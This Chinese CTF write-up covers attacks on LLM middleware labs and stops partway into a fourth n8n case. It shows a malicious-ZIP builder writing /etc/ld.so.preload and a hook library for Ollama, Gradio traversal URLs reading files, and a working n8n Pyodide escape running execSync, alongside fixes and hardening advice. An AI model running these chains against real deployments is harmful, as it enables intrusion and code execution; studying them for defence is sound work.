AI攻防 LLM中间件

LLM 中间件(LLM Middleware),指夹在业务代码和真正的模型之间的那一层服务: Ollama、vLLM、LM Studio、LocalAI、各种"中转站"API 网关,都属于这一类。

它和"模型驱动型漏洞"是一对互补的攻击面:

攻击面 漏洞本质
模型驱动型漏洞 模型的判断力 提示词被绕过、假 LLM 劫持、工具滥用
LLM 中间件漏洞 中间件自己的代码 路径穿越、Zip Slip、SSRF、反序列化、沙箱逃逸

一句话区分:模型驱动型漏洞是"AI 太听话",中间件漏洞是"包着 AI 的那层壳写烂了"。

危险之处在于:中间件通常以高权限(root)运行在容器里 ,还要读取本地模型文件。 所以一个看似普通的路径穿越,往往直接等于容器内的 RCE。

靶场环境:HBC AI 攻防专题 · LLM 中间件(共 4 个靶场)

靶场入口 :形如 http://<靶场地址>:<端口>

工具 :浏览器(F12)、Burp Suite、curl、Python(requests / http.client)、便携版 zig

⚠️ 本文所有测试均在授权靶场 中完成,仅用于安全学习与防御研究,请勿用于未授权目标。 文中 flag 已统一脱敏为 flag{...}。


🏁 〇、先看通关记录

# 靶场 CVE / 代号 版本 核心原语 一句话打法 Flag
1 Ollama CVE-2024-45436 0.1.46 Zip Slip → 任意文件写 → RCE 恶意 ZIP 写 ld.so.preload + hook.so,用 /api/embeddings 拉起 runner 执行,flag 以 hex 写回 system blob,再用 /api/show 读回 flag{...}
2 Gradio CVE-2023-51449 4.10.0 路径穿越 → 任意文件读 /upload 拿到 <sha1> 目录作"合法前缀",再 /file=... 穿越读 /tmp/flag.txt flag{...}
3 n8n Code CVE-2025-68668(N8scape) 1.123.10 Pyodide 沙箱逃逸 → RCE 未认领实例自建 owner → Code 节点 pop 掉 js 桩 → 宿主 Object.constructor → execSync flag{...}
4 n8n Form CVE-2026-21858(Ni8mare) 1.65.0 Content-Type 混淆 → 任意文件读 建带 file 字段的表单 → 用 application/json 直接指定 files.filepath=/tmp/flag.txt → 执行记录 binary 取回 flag{...}

一句话总览:四个靶场打的全是"壳" ------不是模型被骗,而是中间件的解压、读文件、沙箱、请求解析四类传统代码缺陷。


🧭 一、统一方法论

四个靶场看似不同,实际可以用同一套问题拆解:

问题 你要找的东西 对应靶场
① 入口在哪? 哪个 API / 路由 / 功能在碰文件或执行代码 全部
② 校验在哪一层? 字符串层?文件系统层?进程层?还是"删几个属性" 2、3、4
③ 执行发生在哪? 解压器、文件读取代码、宿主 realm、请求解析器 1、2、3、4
④ 结果怎么带回来? HTTP 响应?模型字段?执行记录?binary? 1、3、4

三条通用心法:

  1. 先把 AI 服务当"服务"读,不要拿常规 Web 漏洞清单去套。 先看它有哪些路由、文件落在哪、进程怎么起。

  2. 区分"业务失败"和"漏洞失败"。 /api/create 报错不代表解压没发生;表单只回 {"status":200} 不代表文件没被读。

  3. 分段验证,不要梭哈。 先证明原语(能写 / 能读 / 能执行),再做完整利用链;每段都埋一个可观测的标记。


🎯 二、靶场1:Ollama Zip Slip(CVE-2024-45436)

项 值
目标 http://<靶场地址>:<端口>
组件 / 版本 Ollama 0.1.46
漏洞 CVE-2024-45436 / GHSA-846m-99qv-67mg / GO-2024-3104
类型 Zip Slip(CWE-22,任意文件写入)→ 容器 RCE
结果 flag{...}(位于 /tmp/flag.txt)

📚 1.1 前置知识

(1)Zip Slip

如果 ZIP 条目名里包含 ../,而解压代码只做简单的路径拼接,文件就会被写到解压目录之外。

复制代码
// 危险写法:条目名里的 ../ 会逃逸出 destinationDir
fullPath := filepath.Join(destinationDir, f.Name)

核心痛点:要攻击的是"条目名这个字符串",而不是 ZIP 的内容。 Zip Slip 只解决"写",不解决"读",所以后面必须把它升级成代码执行。

(2)Ollama 是一个"模型服务",不是普通网页

Ollama 默认监听 11434,且默认没有任何认证。解题要看的是它的文件布局和 API 行为:

接口 作用
GET /api/version 确认版本(< 0.1.47 受影响)
POST /api/pull 拉取合法基础模型,作为"载体模型"的底子
POST /api/blobs/<digest> 上传 blob(本靶场的恶意 ZIP 从这里进去)
POST /api/create 触发漏洞的核心接口 ,处理 FROM <path> 指向的 ZIP
POST /api/embeddings 拉起新的 runner 进程(触发 ld.so.preload 的关键一步)
POST /api/show 查看模型字段,用于验证篡改、读取回显
(3)把"写文件"升级成"执行":/etc/ld.so.preload

/etc/ld.so.preload 里写一个 .so 路径,后续每个动态链接程序启动时都会优先加载它。 再配合共享库的构造函数:

复制代码
__attribute__((constructor)) void init(void) { /* main() 之前自动执行 */ }

我们不需要"调用"恶意函数,只要让目标进程加载恶意库即可。

🔍 1.2 漏洞原理

/api/create 支持 Modelfile 里的 FROM <path>。当这个 path 是 ZIP 时,Ollama 调用 model.go 的 extractFromZipFile() 解压,而该函数没有校验条目名里的 ../:

复制代码
// 修复前(0.1.46)
fullPath := filepath.Join(destinationDir, f.Name)
// ../../../../etc/ld.so.preload 就从模型目录一路跑到系统根目录
  • 修复版本 :0.1.47,commit 123a722a,PR #5314(对解压路径做 Clean + 前缀校验)

🛠️ 1.3 利用过程

整体链路
复制代码
① POST /api/blobs/sha256:<zip的sha256>
        └─ 把恶意 ZIP 当合法 blob 传上去

② POST /api/create {"modelfile":"FROM /root/.ollama/models/blobs/sha256-<digest>"}
        └─ 触发 extractFromZipFile() → Zip Slip
           ├─ 写 /etc/ld.so.preload = "/tmp/hook.so"
           └─ 写 /tmp/hook.so      = 恶意共享库

③ POST /api/embeddings {"model":"all-minilm:22m", ...}
        └─ Ollama 拉起新的 runner 进程(动态链接的 C++ 二进制)
           → ld.so 读取 /etc/ld.so.preload → 加载 hook.so
           → 构造函数在 runner 进程内以 root 执行

④ hook.so
        ├─ 立刻 unlink /etc/ld.so.preload 和 /tmp/hook.so(OPSEC)
        ├─ 读 /tmp/flag.txt
        └─ 转成 hex,覆盖 carrier:latest 的 system blob

⑤ POST /api/show {"name":"carrier:latest"}
        └─ system 字段 = hex(flag) → 解码 → 拿到 flag
为什么要先建 carrier:latest

把 SYSTEM 故意写成固定值 68656c6c6f(hex 的 hello),等于给模型打一个已知初始标记:

  • 开始时 /api/show 返回 68656c6c6f

  • 利用成功后返回 666c61677b...(flag 的 hex)

前后一对比,就能分清是"写出了文件但没执行",还是"执行了但没定位到 blob"。

复制代码
POST /api/pull
{"name":"all-minilm:22m","stream":false}
POST /api/create
{"name":"carrier:latest","modelfile":"FROM all-minilm:22m\nSYSTEM 68656c6c6f\n"}
构造恶意 ZIP
条目名 内容
../../../../../../../../../../etc/ld.so.preload /tmp/hook.so
../../../../../../../../../../tmp/hook.so 编译好的恶意共享库
复制代码
import zipfile
​
with zipfile.ZipFile("evil.zip", "w", zipfile.ZIP_DEFLATED) as z:
    z.writestr("../../../../../../../../../../etc/ld.so.preload", "/tmp/hook.so")
    z.writestr("../../../../../../../../../../tmp/hook.so",
               open("hook_x86_64.so", "rb").read())

../ 可以多写,filepath.Join 会 Clean 到根,多加无害。

在 Windows 上交叉编译 Linux .so

/etc/ld.so.preload 要求的是 Linux ELF 共享库,mingw 产出的 PE/DLL 加载不了。 没有 WSL / Docker 时,可以用便携版 zig:

复制代码
curl -L -o zig.zip https://ziglang.org/download/0.13.0/zig-windows-x86_64-0.13.0.zip
python -c "import zipfile;zipfile.ZipFile('zig.zip').extractall('.')"
​
# 关键:-target x86_64-linux-gnu 才是 Linux ELF
zig.exe cc -target x86_64-linux-gnu.2.31 -shared -fPIC -O2 -o hook_x86_64.so hook.c
zig.exe cc -target aarch64-linux-gnu.2.31 -shared -fPIC -O2 -o hook_aarch64.so hook.c

产物必须校验:ELF64 / ET_DYN / 带 DT_INIT ,且以 7f 45 4c 46 开头。

复制代码
__attribute__((constructor)) static void ctor(void) {
    if (fork() == 0) work();          // fork 出去,不阻塞 runner 主流程
}

static void work(void) {
    unlink("/etc/ld.so.preload");     // 第一件事:摘掉自己,限制影响面
    /* 读 flag:/tmp/flag.txt → getenv → /proc/1/environ,逐级兜底 */
    /* hex 编码 */
    /* 定位 carrier 的 system blob 并覆盖 */
    unlink("/tmp/hook.so");
}
blob 定位的两条策略
  • 策略 A(内容匹配) :遍历 /root/.ollama/models/blobs/,找内容正好等于 68656c6c6f 的 blob。

  • 策略 B(manifest 解析) :读 /root/.ollama/models/manifests/registry.ollama.ai/library/carrier/latest, 取 "mediaType":"application/vnd.ollama.image.system" 对应的 digest, 转成 blobs/sha256-<digest> 再覆盖。

为什么要 B? system blob 被改过之后,再执行 create 时 Ollama 算出的 digest 没变, 会认为该 blob"已存在"而跳过重写 ,策略 A 就失效了。 从 manifest 拿 digest 不依赖文件内容,永远准。

复现命令
复制代码
.\build.bat                              # 交叉编译出 hook_*.so

python exploit.py --dry --reset          # 【分段验证一】system 应变成 414141
python exploit.py --reset                # 【正式】取 flag
python exploit.py --stage read           # 只读回(不再触发一次)

预期输出:

复制代码
[0] 版本 0.1.46 受 CVE-2024-45436 影响 [OK]
[2'] carrier 的 system == 68656c6c6f [OK] (初始标记就位)
[4] POST /api/blobs/sha256:2c00562c... -> 201
[5] -> {"status":"unpacking model metadata"} {"error":"couldn't determine model format"}
[6] -> 200 {"embedding":[...]}
[7] 基线 system = '68656c6c6f', 轮询等待改写 ...
[7] system 字段已变化: 666c61677b...7d
[8] flag = flag{...}

🧪 1.4 排错与分段验证

现象 含义 下一步
/api/version ≥ 0.1.47 不在影响范围 换目标
/api/blobs/sha256:<d> 非 2xx 上传原语不通 成功返回是 201(不是 200);核对 digest 是否等于文件 sha256
create 返回 couldn't determine model format 正常现象 解压发生在格式识别之前,继续
--dry 能把 system 改成 414141 Zip Slip + .so 执行全部成立 执行链没问题
--dry 成功但正式跑不变 blob 定位问题 用策略 B(解析 manifest digest)
什么都不变 .so 没被执行 确认目标架构,换 hook_aarch64.so

两个关键验证实验:

  • 验证一:先证明 Zip Slip 本身成立。 不依赖 .so,直接覆盖一个已有模型的 manifest;覆盖成功后 /api/show 会报 JSON 解析错误, 说明"写文件"这件事通了。

  • 验证二:先证明 .so 确实被执行。 让它把 system blob 改成固定值 414141。如果 /api/show 真变了, 就同时证明了:ld.so.preload 写入成功 + 新 runner 加载了恶意库 + 改 blob 的方案可行。

"业务失败" ≠ "漏洞失败"。 /api/create 报错退出,不代表前面的解压没发生。把这两件事分开看,是排错能力的分水岭。

🛡️ 1.5 修复与规避

层面 措施
升级 Ollama 升到 0.1.47+
网络 Ollama 默认监听 11434 且无认证,绝不能暴露到公网 / 不可信网段
容器 非 root 运行、只读根文件系统、no-new-privileges、drop 多余 capability
运维 禁止 /etc/ld.so.preload 被写入;监控 blobs/、manifests/ 的异常变更

根因是"信任了 ZIP 条目名"。通用防御:

复制代码
dst := filepath.Clean(destinationDir)
target := filepath.Clean(filepath.Join(dst, f.Name))
if !strings.HasPrefix(target, dst+string(os.PathSeparator)) {
    return fmt.Errorf("illegal file path in zip: %s", f.Name)
}

✅ 1.6 小结

  1. 从"网页"到"服务":Ollama 是模型服务,要理解它的文件布局和 API 行为。

  2. 从"能写"到"能读" :任意文件写入本身交不了 flag。 必须想清楚:写哪里 → 谁读 → 谁执行 → 怎么带回来 。 /etc/ld.so.preload + __attribute__((constructor)) 就是把"写"变成"执行"的经典桥梁。

  3. 从"梭哈"到"分段验证" :先埋已知值,再观察变化;先单独验证 Zip Slip,再单独验证 .so 执行。

LLM 中间件漏洞,攻击的不是模型,而是包裹模型的那层服务代码。 而中间件往往跑在 root + 容器里,一次不起眼的路径穿越,就是一次完整的容器沦陷。


🎯 三、靶场2:Gradio 目录穿越(CVE-2023-51449)

项 值
目标 http://<靶场地址>:<端口>
组件 / 版本 Gradio 4.10.0
漏洞 CVE-2023-51449 / GHSA-6qm2-wpxq-7qh2 / PYSEC-2023-249
类型 路径穿越 / 任意文件读取(CWE-22)
结果 flag{...}(位于 /tmp/flag.txt)

📚 2.1 前置知识

(1)Gradio 的工作方式

Gradio 是一个 Python 库,把机器学习模型包装成 Web 界面。后端是 FastAPI + uvicorn , 前端是 React。它不是一个普通网页,而是一个带 HTTP API 的服务:界面上每个组件都会自动生成 API 端点。

路由 作用
GET / 前端页面
GET /config 前端配置:version、组件定义、依赖关系(指纹识别第一入口)
GET /info API 端点描述(named_endpoints / unnamed_endpoints)
POST /upload 上传文件,返回文件在服务器上的落盘路径
GET /file=<路径> 按路径把文件回传给浏览器 ← 本漏洞入口
POST /run/predict · POST /call/predict 调用具体端点

/file 路由的存在理由:模型经常输出图片、音频、文件,浏览器不能直接读服务器磁盘, 所以需要一个"给路径、吐内容"的接口。既然它能读任意路径,就必须有校验------校验写错了,就是本题。

上传文件默认落在 GRADIO_TEMP_DIR,即 /tmp/gradio/<内容sha1>/<原文件名>。 注意 <sha1> 是目录名,这个细节后面非常关键。

(2)路径穿越:校验层次决定生死
校验层次 典型写法 是否安全
字符串层 relative_to()、startswith()、正则删 ../ ❌ 可绕过
文件系统层 先 resolve() / realpath() 再比较前缀 ✅ 安全

字符串层不安全,是因为字符串运算不碰文件系统 :relative_to() 只看字面路径段, 不知道 .. 最终会落到哪里。

常见绕过:垫一个真实目录(本题)、URL 编码、双写 ....//、绝对路径、符号链接。

(3)URL 编码在本题里的意义

../ 可能被客户端自己 规范化掉。浏览器、requests、urllib 都可能在发送前把 /a/../b 折叠成 /b,payload 还没出网就失效了。

两种解法:

  • 让客户端别多管闲事:curl --path-as-is,或用 http.client 自己拼请求行。

  • 编码绕过:把 . 写成 %2e。

服务端是先解码再校验的 :uvicorn / FastAPI 会先把 %2e%2e 解码成 ..,再进入路由。 所以编码只影响"客户端怎么发",不影响"服务端怎么看" 。 本题实测 %2e%2e/、%2e%2e%2f、..%2f 全部有效,说明服务端只解一层。

🔍 2.2 漏洞原理

GET /file=<路径> 的校验在 gradio/utils.py:

复制代码
def is_in_or_equal(path_1, path_2):
    path_1, path_2 = abspath(path_1), abspath(path_2)   # abspath 不做 .. 规范化
    try:
        if str(path_1.relative_to(path_2)).startswith(".."):   # ← 只看字面首段
            return False
    except ValueError:
        return False
    return True

abspath() 对绝对路径原样返回 (不解析符号链接、不规范化 ..), relative_to() 又是纯字面 运算,于是守卫只拦住了"紧跟允许目录就以 .. 开头"的情况:

请求路径 relative_to('/tmp/gradio') 得到 结果
/tmp/gradio/../../etc/passwd ../../etc/passwd 以 .. 开头 → 403
/tmp/gradio/<hash>/../../etc/passwd <hash>/../../etc/passwd 首段是 <hash> → 放行 → 200

结论:穿越点前面必须垫至少一个真实目录。 POST /upload 恰好给一个:返回 ["/tmp/gradio/<sha1>/<文件名>"],其中 <sha1> 是个目录。

  • 修复版本 :4.11.0,PR #6833(改为先 resolve() 再比较前缀)

🛠️ 2.3 利用过程

先纠正三个常见误判
常见误判 实际情况
GET /file=/tmp/flag.txt 直接读 403。 绝对路径不在允许目录内
/predict?file=... 之类的 query 参数 不存在。 是路径段 /file=<路径>
靠 GET /info 拿端点、构造针对性 URL /info 的 /predict 与本漏洞无关,入口是 /file= 路由本身

一句话:别拿"常规注入清单"去套,先去读路由语义。

利用链
复制代码
① POST /upload
        └─ 返回 /tmp/gradio/<hash>/<文件名>
           <hash> 是个目录 ------ 这就是"合法前缀" / 穿越立足点

② GET /file=/tmp/gradio/<hash>/<穿越><目标相对路径>
        └─ 字面校验放行(首段是 <hash>,不以 .. 开头)
           → 内核解析 ../ 逃到根
           → 读到任意文件

../ 可以多写,内核在根目录处自动截断,所以"深层穿越 + 重新接绝对路径"最稳:

复制代码
/tmp/gradio/<hash>/../../../../../../../tmp/flag.txt
两个必须注意的限制
  1. base 必须是目录,不能是文件。 写成 /tmp/gradio/<hash>/<文件名>/../.. 会因内核 ENOTDIR(文件不能被当作目录解析 ..) 得到 404 。base 必须取 dirname(上传路径)。

  2. 目标是目录会被拒。 route 里还有 is_dir = abs_path.is_dir(),为真直接 403。 所以只能读文件,不能列目录。

这解释了排错时最容易困惑的现象:同样是 403/404,"路径不对"和"校验拦住"是两件完全不同的事。

脚本实现的三个关键决策
决策 原因
用 http.client 直发请求,不用 requests 高层库可能自己规范化 ../
准备编码矩阵(../、%2e%2e/、%2e%2e%2f、..%2f、....//) 服务端等价,可作为客户端兼容性兜底
连接被重置时自动重试 靶场偶发 Connection reset,不重试会误判为"文件不存在"

multipart 请求体:

复制代码
body = b"".join([
    ("--%s\r\n" % boundary).encode(),
    ('Content-Disposition: form-data; name="files"; filename="%s"\r\n' % name).encode(),
    b"Content-Type: application/octet-stream\r\n\r\n",
    content,
    ("\r\n--%s--\r\n" % boundary).encode(),
])
复现命令与实测输出
复制代码
python exploit_gradio.py                 # 全自动,命中即停
python exploit_gradio.py --control       # 先用 /etc/passwd 验证穿透,再打 flag
python exploit_gradio.py --depths 3-14   # 自定义穿越层数范围
[*] 版本 4.10.0 落在受影响范围 (< 4.11) [OK]
[*] named_endpoints: ['/predict']
[*] POST /upload -> 200 ["/tmp/gradio/7c4a8d09.../poc_gradio.txt"]
[*] 穿越 base : /tmp/gradio/7c4a8d09ca3762af61e59520943dc26494f8941b
[*] 控制组:/etc/passwd 可读 (enc=plain, depth=3)
[+] 命中!
    完整 URL : http://<靶场地址>:<端口>/file=/tmp/gradio/7c4a8d09.../../../../tmp/flag.txt
    FLAG     : flag{...}

🧪 2.4 排错表

现象 含义 修法
403 File not allowed 穿越点没垫真实目录,或目标是目录 用 /tmp/gradio/<hash>/ 做 base
404 File not found base 用了文件(ENOTDIR),或目标不存在 base 换成 dirname(上传路径)
拿不到 200 也不报错 客户端把 ../ 规范化了 用 http.client,或改 %2e%2e
/upload 不可用 无法取得合法前缀 找 /tmp/gradio/ 下任何已存在目录做 base

先证明穿透,再打目标 :--control 先用 /etc/passwd(必然存在、格式已知) 验证"路径穿越 + 我读得到",确认原语可用后再去取 flag。 失败时就能立刻分清是"穿透不成立"还是"文件不在那儿"。

🛡️ 2.5 修复与规避

层面 措施
升级 Gradio 升到 4.11.0+(PR #6833)
正确写法 先 resolve() 再比较,用 os.path.commonpath 或 Path.is_relative_to;绝不能用 relative_to() + 字符串前缀判断
部署 未鉴权的 Gradio 应用不要暴露公网;显式设置 allowed_paths 白名单
加固 容器内非 root;把 flag / 敏感文件放在应用可访问范围之外
复制代码
real = Path(user_path).resolve()          # ① 先解析成真实绝对路径
root = Path(allowed_dir).resolve()
if not real.is_relative_to(root):         # ② 再比较
    raise HTTPException(403, "forbidden")

根因一句话:校验发生在"字符串层",而穿越发生在"文件系统层",两者之间存在语义鸿沟。 只堵字符串,挡不住文件系统。

✅ 2.6 小结

  1. 同一根因,两种皮 :靶场1 是解压时的穿越(Zip Slip),靶场2 是读文件时的穿越。 CWE-22 不是"某个功能写错了",而是**"校验层与执行层语义不一致"**。

  2. 别被功能表面带偏 :/info 里的 /predict 看着像入口,其实毫无关系。 读路由语义,比读端点列表有用得多。

  3. 校验层次决定生死 :看到 relative_to / startswith / 正则删 ../, 就该立刻想到"垫一个真实目录"可能就够了。

  4. 403 和 404 是两条完全不同的信息:一个是被拦,一个是路走错。


🎯 四、靶场3:n8n Python Code 节点沙箱绕过(CVE-2025-68668)

项 值
目标 http://<靶场地址>:<端口>
组件 / 版本 n8n 1.123.10(受影响 >=1.0.0 <2.0.0,修复于 2.0.0)
代号 N8scape
漏洞 CVE-2025-68668 / GHSA-62r4-hw23-cc8v
类型 沙箱绕过 → 任意命令执行(CWE-693)
结果 flag{...}(/tmp/flag.txt,进程以 uid=1000(node) 运行)

📚 3.1 前置知识

(1)n8n 的 Code 节点

n8n 是工作流自动化平台:节点连成图,数据沿连线流动。 Code 节点允许在流程里直接写代码,是本题入口。

参数 说明
mode runOnceForAllItems / runOnceForEachItem
language javascript(默认)/ python(Beta,走 Pyodide)
代码参数名 JS 模式是 jsCode,Python 模式是 pythonCode ← 极易踩坑

两个关键认知:

  • 返回值必须是 item 数组 :return [{"json": {...}}]。

  • 代码在服务器端执行。用户能写任意代码 = 隔离一失效就是 RCE。

(2)Pyodide 的软肋

Pyodide = 编译成 WebAssembly 的 CPython,能在浏览器或 Node.js 里跑 Python。 但它跑在宿主的 JS 引擎、宿主进程里,不是独立进程。 为了用宿主能力(网络、Node API),必须开一层 Python ↔ JS 桥------

这层桥就是沙箱的软肋:Python 侧能碰到哪些 JS 对象,决定了攻击者能爬到宿主哪里。

n8n 用 LoadPyodide():用 node:vm 的 createContext 造 vm 上下文, 再往里塞宿主对象作为 jsglobals。所谓"沙箱"就是后面删属性的几行代码。

(3)JavaScript 的 Function 与 .constructor 链
复制代码
const f = new Function("return process");   // 把字符串编译成函数
f();                                        // 执行 -> 拿到 process

关键点:Function 创建出来的函数,作用域是"它被创建时所在的全局环境" 。 用哪个 realm 的 Function,就在哪个 realm 里执行代码。

复制代码
({}).constructor               // Object
Object.constructor             // Function   ← 关键!Object 本身是个函数
Object.constructor.constructor // 还是 Function
"".constructor.constructor     // Function

经典逃逸套路:

复制代码
外来对象.constructor  ===  外部的 Function   →  new Function(...) 就在外面执行

node:vm 为什么挡不住 :vm 的隔离靠"换一套全局对象", 但只要有宿主对象被传进沙箱 ,就能顺着 .constructor 爬回宿主 realm。

(4)n8n 的具体错误

n8n 堵的是 Object.constructor.constructor(= Function.constructor), 但 Object.constructor 本身就已经是 Function 了 ------堵二级属性完全没有意义。 更糟的是,传进 vm 的 5 个宿主对象(Object / fetch / AbortController / AbortSignal / console) 每一个的 .constructor 都是宿主 Function,只堵其中一个的二级属性,漏洞面根本没有收窄。

(5)Python ↔ JS 类型桥接的坑
坑 现象 解法
Node Buffer 传不回 Python RuntimeError: Unknown typed array type 'Buffer' 在 JS 侧 .toString() 后再交回
dict → JS 是 Map 不是 Object 给 JS 函数传 options 无效 pyodide.ffi.to_js(d, dict_converter=...)
Promise 不会自动 await 拿到 JsProxy 而不是结果 pyodide.ffi.run_sync(),或异步逻辑整体写在 JS 里
JsProxy 的 repr 打印为 [object Object] type(x) + dir(x)
import js 拿到的是 globalThis 代理 不是普通 Python 模块 不要用 hasattr(js, "x") 之类的模块假设

"能执行到" ≠ "能把结果带回来"。 本题第一次跑通命令后,id / cat 都执行成功,但返回 Buffer,Pyodide 转换失败, 输出一个都拿不到。把命令链整体写在 JS 里、最后 .toString(),才真正闭环。

🔍 3.2 漏洞原理

n8n 的"沙箱"在 packages/nodes-base/nodes/Code/Pyodide.ts,加载 Pyodide 后注入的防护只有三行:

复制代码
import os
def blocked_function(*args, **kwargs):
    raise RuntimeError("Blocked for security reasons")
os.system = blocked_function                          # ①

from _pyodide_core import jsproxy_typedict
from js import Object
Object.constructor.constructor = blocked_function     # ②

import sys
class blocked_module:
    def __getattr__(self, name):
        blocked_function()
sys.modules['js'] = blocked_module()                  # ③

而 Pyodide 是在 node:vm 的 createContext 里跑的:

复制代码
const context = createContext({
    loadPyodide, indexURL, packageCacheDir,
    jsglobals: { console, fetch, AbortController, AbortSignal, Object, XMLHttpRequest },
});

两个致命缺陷:

  1. 只换了 sys.modules['js'],没动 import hook。 sys.modules.pop("js") 后重新 import js,Pyodide 的 import hook 会把真正的 js 模块 (宿主 globalThis)还回来。

  2. 只堵了 Object.constructor.constructor,没堵 Object.constructor 本身。 jsglobals 里的 Object 来自宿主 realm,Object.constructor 就是宿主的 Function 构造器 。 用它 new Function(...),代码就在宿主 realm 执行,node:vm 的隔离形同虚设。

  • CVSS:9.9(Critical)

  • 修复版本:2.0.0(彻底移除 Pyodide,Python 改由进程隔离的 task runner 执行)

  • 前置条件:已认证 + 有 workflow 编辑权限

⚠️ 本题的"认证墙"是纸糊的

GET /rest/settings 里 userManagement.showSetupOnFirstLoad: true ------实例根本没被认领。直接:

复制代码
POST /rest/owner/setup
{"email":"owner@ctf.local","firstName":"Red","lastName":"Team","password":"N8scape2026!"}
→ {"data":{...,"role":"global:owner","isOwner":true}}

这就是题目"难度 1 级"的原因:CVE 要求"已认证用户",而认证本身可以直接注册。

🛠️ 3.3 利用过程

利用链
复制代码
① POST /rest/owner/setup        实例未认领 -> 自建 owner,拿到会话
        │
② POST /rest/workflows          建工作流:Manual Trigger -> Code(Python)
        │                        payload 写进 Code 节点的 pythonCode 参数
③ POST /rest/workflows/{id}/run 以 Manual Trigger 为起点执行全图
        │
④ Code 节点里 Pyodide 执行我们的 Python:
        sys.modules.pop("js", None); import js      # 摘掉桩,还原真 js
        js.Object.constructor                       # 宿主 Function 构造器
        HostFunction("cmd", "return process.mainModule.require('child_process')
                              .execSync(cmd).toString()")("cat /tmp/flag.txt")
        │
⑤ GET /rest/executions/{id}?unflattened=true&includeData=true
        -> 展开扁平化数组 -> runData["Code"][0].data.main[0][0].json.result
最终 Payload
复制代码
import sys

# n8n 只把 sys.modules['js'] 换成了桩,没动 import hook ------ pop 掉再 import 就还原
sys.modules.pop("js", None)
import js

# jsglobals 里的 Object 来自宿主 realm => Object.constructor 就是宿主的 Function
HostFunction = js.Object.constructor
run = HostFunction(
    "cmd",
    "return process.mainModule.require('child_process').execSync(cmd).toString()",
)

return [{"json": {"result": str(run("cat /tmp/flag.txt")).strip()}}]

为什么整条命令链写在 JS 里 :execSync() 返回 Node 的 Buffer,Pyodide 转不回 Python (报 Unknown typed array type 'Buffer')。所以在 JS 侧 .toString() 后再交回 Python。

备用绕过方案(均为实测结论)
路线 结果
os.system ❌ 已被替换成 blocked_function
import js ❌ 已被替换成桩
pyodide.code.run_js(...) ❌ 本目标不可用 ------内部要 from js import eval,摘桩后 js 是宿主 globalThis,没有 eval → ImportError
subprocess.Popen / os.popen ⚠️ 对象还在,但 Pyodide 是 WASM,没有真 fork/exec,必须借 JS 桥
sys.modules.pop("js") + import js ✅ 主路线
js.Object.constructor → 宿主 Function ✅ 主路线
js.fetch.constructor / js.AbortController.constructor ✅ 同理(同为宿主对象)
_pyodide_core.raw_call ✅ 底层 JS 调用入口

网上不少文章说 pyodide.code.run_js() 是主要逃逸点。 实测在本目标上不可用 (它依赖 js.eval,而 js 已被换成桩)。 真正稳的是"pop 桩 + 用宿主对象的 .constructor"。

在 Web 界面里手工操作
  1. 打开靶场 → 实例未认领,直接跳 "Set up owner account" → 创建 owner

  2. 登录 → Overview → Create Workflow

  3. 画布点 + → 搜 Code → 选内置 Code 节点 (不是社区 n8n-nodes-python)

  4. 节点面板:Language → Python (Beta) ;Mode → Run Once for All Items;粘贴 payload

  5. 没有起点就再加一个 Manual Trigger,连到 Code

  6. 点 Execute workflow

  7. 节点变绿后 → 打开 Code 节点 → Output → JSON → 展开 result

⚠️ Python 模式下参数名是 pythonCode,不是 code (JS 模式才是 jsCode)。 API 写 "code" 会被静默忽略,节点拿默认空模板跑,报 IndentationError: expected an indented block...。这是本题最容易卡住的坑。

命令输出到底在哪个字段

n8n 没有固定的 stdout / data 字段------字段名是你在 return 里自己定的。 本脚本约定返回 {"json": {"result": ...}}:

位置 取值路径
UI Code 节点 → Output → JSON → result
API resultData.runData["Code"][0].data.main[0][0].json.result
出错时 同路径的 runData["Code"][0].error.message(异常信息本身就是外带通道)

⚠️ n8n 把 execution.data 存成扁平化数组 :形如 "resultData":"2" 的字符串是 指向数组下标的引用 。直接按上面的路径读会拿到 "6" 这种下标,必须先展开引用。

驱动内部 API 的两个坑
  1. POST /rest/workflows/{id}/run 的 body 必须给全 : {"workflowData": {...含 id...}, "triggerToStartFrom": {"name": "<Manual Trigger 名>"}}

    • 不给 workflowData.id → You cannot execute a workflow without an ID

    • 只给 destinationNode、不给 triggerToStartFrom → "成功"但一个节点都不跑

    • destinationNode 是对象 {nodeName: "..."},不是字符串

  2. 工作流必须有 Trigger 节点 :runManually 靠 getExecutionStartNode() 取起点, 没有 trigger 就没有 startNode,全图不执行。

🛡️ 3.4 修复与规避

层面 措施
升级 n8n 升到 2.0.0+(移除 Pyodide,Python 改由进程隔离的 task runner 执行)
启用隔离 runner(1.x) N8N_RUNNERS_ENABLED=true + N8N_NATIVE_PYTHON_RUNNER=true
禁用 Python N8N_PYTHON_ENABLED=false(1.104.0 起可用)
禁用 Code 节点 NODES_EXCLUDE=["n8n-nodes-base.code"]
权限 收紧 workflow 编辑权限;开启 MFA;不要暴露公网
部署 容器内非 root(本题已是 node 用户,明显降低影响面)

根因一句话:黑名单式沙箱注定失败------你只堵了自己想得到的三个点, 而攻击面是整个宿主 realm 的对象图。 正确的隔离只有一条路:进程级隔离(task runner / 独立容器 / seccomp), 而不是在同一个 JS realm 里"删几个属性"。

✅ 3.5 小结

  1. "沙箱"要看实现 :三行代码看似防护,实际只是把三个属性换成桩------这是黑名单,不是隔离。

  2. node:vm 不是安全边界 :只要有宿主对象被传进去,顺着 .constructor 就能爬回宿主 realm。

  3. 堵二级属性没有意义 :Object.constructor 本身就是 Function。

  4. 类型桥接是最后一公里 :命令执行成功但 Buffer 传不回来,照样一个字节都看不到。

  5. 认证要求不等于难度:实例未认领时,认证就是自己注册一下的事。


🎯 五、靶场4:n8n Form Content-Type 混淆任意文件读取(CVE-2026-21858)

项 值
目标 http://<靶场地址>:<端口>
组件 / 版本 n8n 1.65.0(受影响 1.65.0 ~ <1.121.0,修复于 1.121.0)
代号 Ni8mare
漏洞 CVE-2026-21858 / GHSA-v4pr-fm98-w9pg
类型 未授权任意文件读取(Content-Type 混淆 CWE-436 / 路径穿越 CWE-22)
CVSS 10.0(Critical)
结果 flag{...}(/tmp/flag.txt)

⚠️ 两个 CVE 的关系 :本题只用到 CVE-2026-21858(任意文件读取) 。 CVE-2025-68613(表达式沙箱逃逸 RCE)是公开完整链上"读到文件之后升级成 RCE"的那一环。 本题 flag 直接躺在 /tmp/flag.txt,一步读完就结束,用不上第二环。

📚 4.1 前置知识

(1)n8n Form Trigger 与 Webhook

表单触发器(n8n-nodes-base.formTrigger)让用户在浏览器填表,提交后数据流进工作流。 它对应两个 webhook:

webhook 方法 作用
setup GET 渲染表单页面
default POST 接收提交的数据

表单 URL 的来源很关键:

复制代码
path: '={{ $parameter["path"] || $parameter["options"]?.path || $webhookId }}'

